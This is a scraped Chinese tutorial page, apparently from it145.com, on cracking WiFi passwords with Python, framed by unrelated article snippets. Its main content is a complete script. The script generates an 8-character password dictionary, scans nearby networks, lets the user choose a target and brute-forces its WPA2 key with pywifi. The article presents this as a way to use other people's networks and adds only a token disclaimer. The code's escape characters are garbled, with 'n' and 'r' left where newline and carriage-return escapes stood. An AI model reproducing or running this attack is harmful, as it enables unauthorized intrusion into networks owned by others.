<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
用Python生成一個簡單的密碼本,一般是有數位、字母和符號組成,這裡用到的思路主要是窮舉法。通過使用pywifi 模組,根據密碼本暴力破解WiFi。
宣告:本文只是從技術的角度來闡述學習Pywifi庫!並不建議大家做任何破壞性的操作和任何不當的行為!
pywifi是在python中一個用於操作無線介面的模組,可以跨平臺使用,Windows和Linux都支援
在notebook或者pycharm、anaconda中安裝
pip install pywifi
一般字典包括數位(0-9)、字母(a-z,區分大小寫)、特殊字元(!@#$%^&*()_+=-)
常規的wifi密碼為8位元,且僅包括數位和小寫字母,所以我們可以從數位和字母組成的字串中隨機挑選出8位元(單個字元可重複出現),作為wifi密碼組成字典存入txt檔案。
也可以去網上下載一個常用wifi密碼,只要是TXT文字就可以.
import itertools as its words = "1234567890abcdefghijklmnopqrstuvwxyz" #可選擇的字元 r =its.product(words,repeat=8) #組成8位元字串 dic = open("pwd.txt","a") #儲存為wifi密碼字典 #wifi密碼完成換行,並寫入txt檔案 for i in r: dic.write("".join(i)) dic.write("".join("n")) dic.close()
import pywifi import time from pywifi import const # WiFi掃描模組 def wifi_scan(): # 初始化wifi wifi = pywifi.PyWiFi() # 使用第一個無線網路卡 interface = wifi.interfaces()[0] # 開始掃描 interface.scan() for i in range(4): time.sleep(1) print('r掃描可用 WiFi 中,請稍後。。。(' + str(3 - i), end=')') print('r掃描完成!n' + '-' * 38) print('r{:4}{:6}{}'.format('編號', '訊號強度', 'wifi名')) # 掃描結果,scan_results()返回一個集,存放的是每個wifi物件 bss = interface.scan_results() # 存放wifi名的集合 wifi_name_set = set() for w in bss: # 解決亂碼問題 wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8')) wifi_name_set.add(wifi_name_and_signal) # 存入列表並按訊號排序 wifi_name_list = list(wifi_name_set) wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True) num = 0 # 格式化輸出 while num < len(wifi_name_list): print('r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1])) num += 1 print('-' * 38) # 返回wifi列表 return wifi_name_list # WIFI破解模組 def wifi_password_crack(wifi_name): # 字典路徑 wifi_dic_path = input("請輸入本地用於WIFI暴力破解的密碼字典(txt格式,每個密碼佔據1行)的路徑:") with open(wifi_dic_path, 'r') as f: # 遍歷密碼 for pwd in f: # 去除密碼的末尾換行符 pwd = pwd.strip('n') # 建立wifi物件 wifi = pywifi.PyWiFi() # 建立網路卡物件,為第一個wifi網路卡 interface = wifi.interfaces()[0] # 斷開所有wifi連線 interface.disconnect() # 等待其斷開 while interface.status() == 4: # 當其處於連線狀態時,利用迴圈等待其斷開 pass # 建立連線檔案(物件) profile = pywifi.Profile() # wifi名稱 profile.ssid = wifi_name # 需要認證 profile.auth = const.AUTH_ALG_OPEN # wifi預設加密演演算法 profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP # wifi密碼 profile.key = pwd # 刪除所有wifi連線檔案 interface.remove_all_network_profiles() # 設定新的wifi連線檔案 tmp_profile = interface.add_network_profile(profile) # 開始嘗試連線 interface.connect(tmp_profile) start_time = time.time() while time.time() - start_time < 1.5: # 介面狀態為4代表連線成功(當嘗試時間大於1.5秒之後則為錯誤密碼,經測試測正確密碼一般都在1.5秒內連線,若要提高準確性可以設定為2s或以上,相應暴力破解速度就會變慢) if interface.status() == 4: print(f'r連線成功!密碼為:{pwd}') exit(0) else: print(f'r正在利用密碼 {pwd} 嘗試破解。', end='') # 主函數 def main(): # 退出標緻 exit_flag = 0 # 目標編號 target_num = -1 while not exit_flag: try: print('WiFi萬能鑰匙'.center(35, '-')) # 呼叫掃描模組,返回一個排序後的wifi列表 wifi_list = wifi_scan() # 讓使用者選擇要破解的wifi編號,並對使用者輸入的編號進行判斷和例外處理 choose_exit_flag = 0 while not choose_exit_flag: try: target_num = int(input('請選擇你要嘗試破解的wifi:')) # 如果要選擇的wifi編號在列表內,繼續二次判斷,否則重新輸入 if target_num in range(len(wifi_list)): # 二次確認 while not choose_exit_flag: try: choose = str(input(f'你選擇要破解的WiFi名稱是:{wifi_list[target_num][1]},確定嗎?(Y/N)')) # 對使用者輸入進行小寫處理,並判斷 if choose.lower() == 'y': choose_exit_flag = 1 elif choose.lower() == 'n': break # 處理使用者其它字母輸入 else: print('只能輸入 Y/N 哦o(* ̄︶ ̄*)o') # 處理使用者非字母輸入 except ValueError: print('只能輸入 Y/N 哦o(* ̄︶ ̄*)o') # 退出破解 if choose_exit_flag == 1: break else: print('請重新輸入哦(*^▽^*)') except ValueError: print('只能輸入數位哦o(* ̄︶ ̄*)o') # 密碼破解,傳入使用者選擇的wifi名稱 wifi_password_crack(wifi_list[target_num][1]) print('-' * 38) exit_flag = 1 except Exception as e: print(e) raise e if __name__ == '__main__': main()
到此這篇關於python破解WiFi教學程式碼,Python蹭網原理講解的文章就介紹到這了,更多相關python破解WiFi內容請搜尋it145.com以前的文章或繼續瀏覽下面的相關文章希望大家以後多多支援it145.com!
相關文章
<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
综合看Anker超能充系列的性价比很高,并且与不仅和iPhone12/苹果<em>Mac</em>Book很配,而且适合多设备充电需求的日常使用或差旅场景,不管是安卓还是Switch同样也能用得上它,希望这次分享能给准备购入充电器的小伙伴们有所
2021-06-01 09:31:42
除了L4WUDU与吴亦凡已经多次共事,成为了明面上的厂牌成员,吴亦凡还曾带领20XXCLUB全队参加2020年的一场音乐节,这也是20XXCLUB首次全员合照,王嗣尧Turbo、陈彦希Regi、<em>Mac</em> Ova Seas、林渝植等人全部出场。然而让
2021-06-01 09:31:34
目前应用IPFS的机构:1 谷歌<em>浏览器</em>支持IPFS分布式协议 2 万维网 (历史档案博物馆)数据库 3 火狐<em>浏览器</em>支持 IPFS分布式协议 4 EOS 等数字货币数据存储 5 美国国会图书馆,历史资料永久保存在 IPFS 6 加
2021-06-01 09:31:24
开拓者的车机是兼容苹果和<em>安卓</em>,虽然我不怎么用,但确实兼顾了我家人的很多需求:副驾的门板还配有解锁开关,有的时候老婆开车,下车的时候偶尔会忘记解锁,我在副驾驶可以自己开门:第二排设计很好,不仅配置了一个很大的
2021-06-01 09:30:48
不仅是<em>安卓</em>手机,苹果手机的降价力度也是前所未有了,iPhone12也“跳水价”了,发布价是6799元,如今已经跌至5308元,降价幅度超过1400元,最新定价确认了。iPhone12是苹果首款5G手机,同时也是全球首款5nm芯片的智能机,它
2021-06-01 09:30:45